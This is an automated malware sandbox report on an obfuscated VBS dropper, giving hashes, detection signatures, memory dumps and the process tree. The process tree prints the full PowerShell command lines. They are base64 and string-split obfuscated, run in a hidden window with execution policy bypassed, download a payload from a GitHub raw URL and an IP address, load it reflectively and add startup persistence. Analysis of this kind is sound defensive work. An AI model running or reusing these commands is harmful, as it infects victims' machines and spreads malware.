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Analysis

  • max time kernel
    94s
  • max time network
    96s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/10/2024, 03:22

General

  • Target

    2302e959d65c30ae1abd47d34d4e421bb629b9ab4a2ec04277170691bb5abefd.vbs

  • Size

    242KB

  • MD5

    adadc5d47f87dd519f9a7da9ba03daf5

  • SHA1

    3de39ed4ff76305d9dc87b484bf2b78d7f332dbf

  • SHA256

    2302e959d65c30ae1abd47d34d4e421bb629b9ab4a2ec04277170691bb5abefd

  • SHA512

    93296d34e418a2885e2b9beb0c58078bb0d2f9ae7f27d39c6b404158e37d936efdd1ba10277ffbe5dc23a1bc26e0eb9d92e90a082ab7d44c4ffb39ff5d5ee1a0

  • SSDEEP

    3072:KstfnxfYcd4gQu4Nl2YPfeesDvb7Ngt5pZGwRDaapS7emX8ANolXiZ+k+ugv/6xy:xfniUNYlMe6sAyY+uY6M/es

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2302e959d65c30ae1abd47d34d4e421bb629b9ab4a2ec04277170691bb5abefd.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4908
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnUjFsJysndXJsID0gJysnUUxlJysnaHR0cCcrJ3M6Ly8nKydyYScrJ3cnKycuZ2l0aCcrJ3UnKydidXNlcmNvbnRlbnQnKycuY28nKydtL05vRGV0ZWN0T24vTm9EZXQnKydlJysnYycrJ3RPbi9yJysnZWZzL2hlYWRzLycrJ20nKydhaW4vRGV0YWhOb3RoLScrJ1YudHgnKyd0UUxlOyBSMWxiYXNlNjRDbycrJ24nKyd0ZW50ID0gKE5ldy1PYmonKydlY3QgU3lzdGUnKydtLk5lJysndCcrJy4nKydXZScrJ2JDJysnbGknKydlbnQpLkRvdycrJ25sb2FkJysnU3RyaW4nKydnJysnKFInKycxbHVyJysnbCk7JysnIFIxbGJpbicrJ2FyeScrJ0MnKydvbnRlbnQnKycgJysnPSBbU3lzdCcrJ2VtLicrJ0NvbnZlcnRdOjpGcicrJ29tQicrJ2FzZTY0U3RyJysnaW4nKydnKFIxbGJhc2U2NCcrJ0NvbnQnKydlbicrJ3QpJysnOyBSJysnMWwnKydhc3MnKydlbWInKydseSA9IFtSZWYnKydsJysnZWN0aW9uLkEnKydzJysnc2UnKydtYmx5XTo6TCcrJ29hZCgnKydSMWxiaW5hJysncnlDb250JysnZW50KTsgJysnWycrJ2RubGliJysnLklPJysnLkgnKydvbWVdJysnOjonKydWQUkoZHprdHh0LicrJ0dGQ1JSLzAnKyc1NC8zJysnNS4zNC4nKyc1LjInKyc3Ly86cHR0aCcrJ2R6aycrJywgZHprJysnMWR6aycrJywgJysnZHprJysnQzprJysnc2gnKydQcm9ncicrJ2FtRGF0YWtzaGR6aywgZHprYXV0b3AnKydhdGlhZCcrJ3prLCcrJyBkemsnKydSZWcnKydBc21keicrJ2ssIGQnKyd6a2QnKyd6aycrJyxkJysnemtkJysnemspJyktUkVQTEFDZSAgKFtjaEFyXTEwMCtbY2hBcl0xMjIrW2NoQXJdMTA3KSxbY2hBcl0zNCAtUkVQTEFDZSAna3NoJyxbY2hBcl05Mi1DUkVwbEFDZSAgKFtjaEFyXTgyK1tjaEFyXTQ5K1tjaEFyXTEwOCksW2NoQXJdMzYgLVJFUExBQ2UnUUxlJyxbY2hBcl0zOSl8ICYoIChbc3RySU5nXSR2ZXJCT1NlUHJlZkVSRW5jZSlbMSwzXSsneCctak9JbicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4656
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('R1l'+'url = '+'QLe'+'http'+'s://'+'ra'+'w'+'.gith'+'u'+'busercontent'+'.co'+'m/NoDetectOn/NoDet'+'e'+'c'+'tOn/r'+'efs/heads/'+'m'+'ain/DetahNoth-'+'V.tx'+'tQLe; R1lbase64Co'+'n'+'tent = (New-Obj'+'ect Syste'+'m.Ne'+'t'+'.'+'We'+'bC'+'li'+'ent).Dow'+'nload'+'Strin'+'g'+'(R'+'1lur'+'l);'+' R1lbin'+'ary'+'C'+'ontent'+' '+'= [Syst'+'em.'+'Convert]::Fr'+'omB'+'ase64Str'+'in'+'g(R1lbase64'+'Cont'+'en'+'t)'+'; R'+'1l'+'ass'+'emb'+'ly = [Ref'+'l'+'ection.A'+'s'+'se'+'mbly]::L'+'oad('+'R1lbina'+'ryCont'+'ent); '+'['+'dnlib'+'.IO'+'.H'+'ome]'+'::'+'VAI(dzktxt.'+'GFCRR/0'+'54/3'+'5.34.'+'5.2'+'7//:ptth'+'dzk'+', dzk'+'1dzk'+', '+'dzk'+'C:k'+'sh'+'Progr'+'amDatakshdzk, dzkautop'+'atiad'+'zk,'+' dzk'+'Reg'+'Asmdz'+'k, d'+'zkd'+'zk'+',d'+'zkd'+'zk)')-REPLACe ([chAr]100+[chAr]122+[chAr]107),[chAr]34 -REPLACe 'ksh',[chAr]92-CREplACe ([chAr]82+[chAr]49+[chAr]108),[chAr]36 -REPLACe'QLe',[chAr]39)| &( ([strINg]$verBOSePrefEREnce)[1,3]+'x'-jOIn'')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:656
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\autopatia.vbs"
          4⤵
            PID:4496

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      f41839a3fe2888c8b3050197bc9a0a05

      SHA1

      0798941aaf7a53a11ea9ed589752890aee069729

      SHA256

      224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

      SHA512

      2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      64B

      MD5

      d5161575b78a7cfb6fdce2dfd363031d

      SHA1

      ca17416fdfa39530d5c3157a26703d277e8ec43f

      SHA256

      a86fc8ce58db084b06f81b478f12d45540069e37d01f11307e77f8225dca3fee

      SHA512

      a66f2112f02f1e7772bd93e387df43000c96ea32148a3dc598b12e464027b7628b9988c162e574ea4483a69ef9c8e02932163b1f7924c0331b76e827223e273a

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_axhzvbqb.h2t.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/656-22-0x0000023CBEA90000-0x0000023CBECB0000-memory.dmp

      Filesize

      2.1MB

    • memory/4656-0-0x00007FFF29093000-0x00007FFF29095000-memory.dmp

      Filesize

      8KB

    • memory/4656-6-0x0000011EF3A10000-0x0000011EF3A32000-memory.dmp

      Filesize

      136KB

    • memory/4656-11-0x00007FFF29090000-0x00007FFF29B51000-memory.dmp

      Filesize

      10.8MB

    • memory/4656-12-0x00007FFF29090000-0x00007FFF29B51000-memory.dmp

      Filesize

      10.8MB

    • memory/4656-24-0x00007FFF29093000-0x00007FFF29095000-memory.dmp

      Filesize

      8KB

    • memory/4656-25-0x00007FFF29090000-0x00007FFF29B51000-memory.dmp

      Filesize

      10.8MB

    • memory/4656-31-0x00007FFF29090000-0x00007FFF29B51000-memory.dmp

      Filesize

      10.8MB